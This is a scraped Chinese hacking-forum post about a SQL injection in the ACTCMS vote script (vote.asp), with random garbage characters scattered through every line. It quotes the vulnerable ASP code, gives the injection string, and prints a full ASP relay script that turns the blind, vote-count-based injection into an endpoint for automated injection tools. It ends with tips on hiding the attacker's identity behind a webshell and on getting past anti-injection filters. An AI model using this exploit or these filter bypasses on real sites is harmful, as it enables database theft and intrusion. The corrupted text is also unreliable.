8 g* a" {1 S6 x$ I% M, t' E+ }
看到ninty大牛的blog的一篇文章 T& |. \# ~3 {# P7 k% V+ c1 @
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
; n/ z' \& M9 A关于actcms漏洞的利用 by 3x qq:381862589+ L" h8 o% y) w3 t6 z) H7 s
转载请注明以上
* h- R) U' L- Y# j1 E漏洞文件:
0 N$ K2 n' w+ n/ k' R/plus/vote/vote.asp+ x0 j6 v; ~, d
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 7 F" T! }5 M7 q" [1 W
, q$ o; x8 n5 Q- q2 _
2 response.write "<script>alert('请选择投票项目。');window.close()</script>" 3 Y( v. a$ {2 u& d( v& w
* s0 F1 d0 p3 V3 response.end
8 i* S9 ?( r* x5 z v$ z
0 a! s" s3 F/ r4 end if
+ K; ]4 H6 j* n9 Y6 T* i" I, l/ z, l/ ?
5 for i=1 to request("voted").count $ E& w {2 q/ g8 t h9 [: G
1 A# C. g% h" o8 c8 p) ^2 ?& G6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
, O) Y7 g3 x6 m8 v
: f6 b3 ` b" s* ]4 A* [7 next
0 @4 `8 Z; Y4 @( \: d. N6 t8 h/ m
' f' R' i9 t6 r8....
/ T9 E% K, H+ D! {6 y' r6 j+ }
8 l: o) s _0 c+ u% \# a8 ~9response.Redirect "index.asp?id="&id&""
% E7 ^) Z$ `! X' v3 \2 c投票结束回跳转回index.asp这个投票结果页面4 U" \) o8 U r8 K( o. A% ?3 |' D
如果投票成功票数加1
# t4 P7 z5 R$ K; D6 U 失败票数不变( K2 [* ?) @/ M, K. q7 L/ ~" r
如图:2 C) u* m2 w9 {7 N. H/ ~% I
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)8 i' S: y# i4 F2 E/ w
4 S, t7 B# M& r/ t. v9 x2009-12-27 13:20' l [9 ~3 @% R7 F, v. U7 h; j
! U6 Z) e$ b" |% H) P
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
1 |- O: k! F8 i* B4 Z& ^6 V4 \
本帖隐藏的内容需要回复才可以浏览) `7 d) x' ?* A0 |4 l& P
我们用注入中转来实现这个注入具体代码如下:& m0 w) g* {6 K6 Z
先用寂寞的刺猬大牛的注入中转生成jmget.asp1 v2 [6 @3 Q s& @0 i
注入地址:http://localhost/actcms/plus/vote/vote.asp
1 k( [% d8 O) O7 k" ^& f注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
( p- M" [2 Q) R, x
$ i& H1 A$ `2 i2 c# [然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 6 ]/ b/ ~, E$ M( ?: u6 ~2 m+ v
( c/ F7 I( T: F! w1 B* \' w& u; m' p; x02JmdcwName=request("jmdcw") 9 x, M$ p# k% K) b; {8 n# i' j
, X+ I: z8 y: X
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] , d" j7 B5 r1 N' M$ F/ r' `
; o7 }+ {, W' z( G5 ]: }04JmStr="id=1&voted=-1 or 1="&JmdcwName
, j. j1 N- ~& |& z' y, F
+ F) _; E v3 d( ~0 \+ d, R05JmStr=URLEncoding(JmStr) 3 Z0 w- W E. `2 H' y( Y
7 j- D& c9 v$ j06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"5 \1 ^0 M4 B) m# u4 g1 l
7 U9 u* D/ b; V4 {- ~* A; U K07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
4 y" @* k5 R3 Q5 z6 m% ~# j# K
! e; w# n8 C% F5 c08testurl=testurl & "?" & JmStr % M5 a) l6 [) w$ `! P
& m$ M# y1 ?3 ]# X+ l; O09JMUrl=JMUrl & "?" & JmStr
g+ k& @8 b! U# C$ }; D7 W. R. M+ @2 U
! H5 ~& w2 o7 y2 L- u! `3 F10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
0 L5 x9 R% F9 E! N
! V: B5 u" z' J5 o" j7 ]11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"+ |% n- N c, n( T$ N/ H
8 I9 d! U/ Q+ X1 U12JmCok=replace(JmCok,chr(32),"%20") - J- A" ?) t2 ?' ^) E4 z) h) x2 }
- ~9 ^1 {4 a- A' r6 W) B/ s9 E6 d4 ~
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
: x. B( \6 h y6 t8 r' G/ K5 g; ~1 `2 M0 N
14
, b) J! `) |) f* ]5 D& O! H0 p
: W2 f' k- p& g1 t, q15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
1 q9 e$ P3 S( D3 X: f
+ A! F) }5 `0 A5 C$ l16 ) w; u; u1 j9 ]; F1 \/ ]% ?0 }9 i
' Z' U! ^! c# z; O- _# Y, @- }1 @
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
# t! Q; v* B% Z. {2 l4 p$ F3 x8 a) l' X' g" V
18response.write test1&""&test2&""% K$ B5 k& q7 T
7 U9 o: [/ n& j' |9 Z" c
19
# e) s/ A' p) |# m% h9 i; B d7 R9 W7 J$ p
20if test1=test2 then '如前后记录相等,表示失败
0 k" k* S! G3 `/ I4 q4 J: Z% w: X7 X' U* A6 @, Z/ _2 q& J
21 response.write "failed"! \, A1 W# B* w3 S$ s& _# a
3 L/ q% k- ^! @ A; y22else $ i5 g$ D$ p! i. d
2 K3 ? `3 C }23 response.write "succeed"
& Z/ y4 g! G$ v7 O9 i. H
: i, G1 k/ @7 z: Z5 L24end if
( v% g% j% F; a3 s0 N+ B
( T3 M8 ~# n& u! f6 ~25
( x) H% W4 H: N+ B6 N- z6 ~$ T$ s( f, ~3 \3 o& X1 u+ U
26response.write "by 3x"
, f7 x# `# `( j4 B V: L& a( [9 ]( }" P: A! a; t' W6 f
27 ' N; c/ J% R' A% v
5 @! |$ l# S( X7 S. T4 p! ^28
3 C) |+ n* _6 N0 V3 A! X+ J
, L8 U# d$ e2 c; M) I' u+ h: ~29Function PostData(PostUrl,PostStr,PostCok,PostRef) " X" }. D( V( f: j
# D1 u- U1 p2 O3 ~, T
30Dim Http $ ~& y$ P) G& Q7 n! h! Q. j: D6 V
* [) g d! o& P) l8 \- X31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") ; G& f5 a. ^9 `* n( E% u) r
3 E4 T9 k0 ~1 P0 |
32With Http
5 a. Z# I5 n% t% q2 R" y: o9 U: l" g# W8 q
33
3 ?0 K, V4 U# }+ D; m( [1 `5 |
+ j8 |, N0 M2 j2 I34.Open "GET",PostUrl,False
6 h; p- Y) r8 Q k! g4 T9 B D# {0 D/ O& j9 Q6 b
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"3 y7 f5 f H7 Z9 K/ w
0 ^/ C0 {2 p* L4 D# n! ^' D36.SetRequestHeader "Referer",PostRef
/ q1 ?; Z# o: ]; ]5 z
5 F# {: A. D& D1 O37.SetRequestHeader "Cookie",PostCok , p8 k! p: @, [. q2 u5 ^' u; S7 D
7 m( |$ T9 s7 ~9 y! L5 i: _
38.Send () : Z9 r' c5 F! o! m
4 j0 A2 J. d% f# Z39PostData = .ResponseBody 6 s3 J$ L9 v O0 [' W
6 i+ H& V9 n" M* [3 i
40End With
, X& T/ A$ o9 N/ W% f B) r; ^6 b# r3 J$ U' ]2 v
41Set Http = Nothing6 O- J8 H5 l1 P- u2 [) H. a( q" `- b4 m
+ a8 T# X9 B1 P! F9 O7 B42PostData =bytes2BSTR(PostData) + |9 y, P. h) F! Z% o/ h
7 Z) @4 `) y& f5 Q3 u/ h
43End Function2 p' n4 C# A, b% u/ ~ l
! Y+ U0 i3 P* ^
44
* d2 s* z8 t+ Y0 D4 I) W) j) M& t6 D v* w
45 5 U2 [; b- {5 c& v8 E
. v5 _/ m. U" c8 D
46Function bytes2BSTR(vIn)
+ M# Y# J a6 u+ q- B/ e
% ]9 k1 w6 Y6 ]8 C0 f0 L47Dim strReturn 3 t" j$ N) t9 g* X2 r; {7 N
! N8 v" ]3 F/ p3 q) E# n: }, V48Dim I, ThisCharCode, NextCharCode
! O3 C- g0 T; |. r, L8 O
7 j, p; E0 B4 g7 N/ B; m) J49strReturn = ""
7 ~* _/ r4 K2 o3 t
2 ?/ P9 V& O2 _2 j- B6 Z, r+ j* o50For I = 1 To LenB(vIn)
2 ] s5 ]% X" E: |0 M3 F9 o: W. |( ?$ p7 D
51ThisCharCode = AscB(MidB(vIn, I, 1))
5 l* L% v0 o0 n: i; i
" n# U9 b& f7 A! r52If ThisCharCode < &H80 Then
% V- C: S; x$ }+ B
# D: n! }# R% ~53strReturn = strReturn & Chr(ThisCharCode)
$ i/ A9 ^$ x9 n* w/ x8 r
" k/ p( d+ N6 W! ?6 E; w. u54Else9 w3 n- W. ?) t9 I
- d$ t* ?) j3 [0 u
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) 8 Y' z; S9 |$ P" b; m$ U
3 o; [* z8 w* D+ w8 @56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
9 o7 H: O3 K" `5 r% n
& g$ L& L5 Y) K, L4 f* Y2 O' x57I = I + 1 7 f' c$ m$ W% L, H; w% z& w7 L
' V! ~0 v& b$ A# U/ [5 v58End If
% Z1 L, z4 i4 A' n# c: N' l9 \, _
0 j$ u6 g" x9 |8 M+ w59Next
) @; G- w+ A! U1 _+ q! L: t
1 w8 w% Z/ `, F60bytes2BSTR = strReturn ! q8 a1 _: |; s8 s0 [* q4 l8 _8 [
+ M$ g. k) z ]8 q61End Function
7 Y, C5 J, h( T, i2 F4 {" x4 N1 P
0 O4 E4 c. D' t" v* m, r62
/ b4 [! G3 p6 m* d* c. w
3 @) q! q0 C, h0 w! R' n- z63Function URLEncoding(vstrin) . k, w5 r% e( F/ p* f' i
3 _8 q# d: G- @2 R1 ~64strReturn=""
8 P' d+ Y0 B' G% P4 m% {- X9 s: Y
65Dim i
+ \9 c# V4 o1 K: R9 _0 l7 D% ^
3 C! ^% r3 w. y$ v& E! I t66For i=1 To Len(vstrin)
: k4 C/ w4 T6 ^) D: ?5 g( k$ O% r: Q% z# K
67ThisChr=Mid(vstrin,i,1)
( d& ?! S4 L) J& m. |9 y, B" w: x* J& Z" }6 |! q+ v
68if Abs(Asc(ThisChr))< &HFF Then
& X( ~5 V! ~( G1 n6 ^5 ]0 Z4 _; A: o/ N5 ~! g1 M! _) o( B
69strReturn=strReturn & ThisChr
$ I' k3 e& C- W/ F) o: v {! `. ^6 C, |2 j" m
70Else2 B$ j6 s, }. R% M, V6 b
" o7 b# l9 \1 [; b& [: E
71InnerCode=Asc(ThisChr) 0 R b' ]7 Q6 _- w& @& G3 e
& q) N& S( a; `: o; G- S
72If InnerCode<0 Then8 A: l4 r/ `2 N% U2 u" Q; \& `2 }
+ n; [1 c$ H# {% }! q. B73InnerCode=InnerCode + &H10000
& }$ F! P: u3 P; a) w5 b4 X$ Q) N% X9 J S/ d
74End If0 |. ?- `( Y5 y* l2 a
1 N7 u2 T% C- v/ q
75Hight1=(InnerCode And &HFF00) \&HFF
j( E W& f, \5 j' s% I/ B$ r, Y2 x; L
76Low1=InnerCode And &HFF
. @: e& [: C( B, `! r! Z5 u
7 d- }6 H+ ?4 P& t& t& C77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
; p' H: H7 g" d* G- B2 Q
8 {, n" r1 s' c2 w78End if
/ Q3 v3 \( X3 G/ E% O. Q+ E9 ?! h! S6 R( u1 w2 G+ I) m
79Next
0 a) z0 q% l# Z5 ]
& w( T/ M4 w: }80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 & a# Y* Z8 x& a: ^4 H9 p* y
, D6 A2 ` i7 J6 H2 U7 z4 q81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
' h2 ^& Z* h, s; G+ d* I
& a& _7 G* K, a* h% ]82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
! o, s2 _3 M( C1 I7 `7 y! T
3 F9 j. ^* e( [1 c6 x83URLEncoding=strReturn 6 L @& l% d7 B q" W
) N( `8 J9 F& L/ I- H5 ?( \6 |84End Function
0 W: P' ^+ `! S2 r0 [- g5 R5 j! ~5 r7 b
85
. s: g. R" Z( W5 P* g1 M
! \4 @1 |* B) E5 J/ K' u- B86function getSt(body)
i+ c# p. \" n6 ^. N+ v6 z! d9 L0 T5 c S% [
87 startpot=instr(body,"投票人数:")+len("投票人数:")
5 K& C9 ]3 |) Q( Q
( l7 {/ x2 e! F8 T- f- ]& @# k88 endpot=instr(startpot,body," ") 2 u+ j; v$ t$ l, j# |
. K) G. Z M1 P' v) e: v; l. V89 getSt=mid(body,startpot,endpot-startpot)
' I& Y1 g8 _9 j2 ^0 D+ q6 B" U
6 C& ~1 ~5 Z7 ?) _) L; {# ?90end function
1 P7 {$ t6 D9 V% K9 p% F
. F0 i) k% g6 f3 x4 k3 j91%>
* o% X1 q! t, S7 C% V1 P2 R1 x注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了* |/ p( Q' ?) d% e7 b" y; W
测试下效果:
- A# |; Y5 r7 H2 A0 X1 l* d投票成功:
$ G9 ~# x: y1 ~4 t9 \http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
8 q" v9 f( c4 x4 O# M
! |0 p3 L; K1 r2009-12-27 13:29
& n! I. N# }& _投票失败6 N; S# o3 ]8 a# C! H
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)$ [ }2 W8 e; {6 @
. c, }4 e. w7 S6 i! L% \' p2 S9 h7 H
2009-12-27 13:29) ^% z4 d% x2 J
-------------------------------------------------------------------------------! G$ h+ N9 p' |0 N( [% b# Q& X
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
" r: H' @$ l# W6 j* i2 p! W4 m很抱歉。。。只能用单线程工具去注入。。。。。
: h6 w" N+ K* F7 [所以失败。。。不好意思。。。. x+ S$ p2 U) E6 \
-------------------------------------------------------------------------------6 M; A3 U2 Q5 ^2 z- `! a
7 Q; u3 W6 q/ g8 y! N5 P7 @注入中转的一些其他应用
: d b3 F2 T# B& ~0 o1 w其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了( C6 ^3 X* Y: Z5 f
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
& C2 ]0 V8 _$ Q* o. I/ [/ z1 v2.post注入转成get型的注入,方便我们使用工具来跑
, Q3 M# T% d& p% v3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
; ]: N! V( y. Z' o$ O4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
) ~! w& f$ h, z4 m' s) N! M0 y5 S: g
3 m0 @& W2 {7 R6 L; @# N |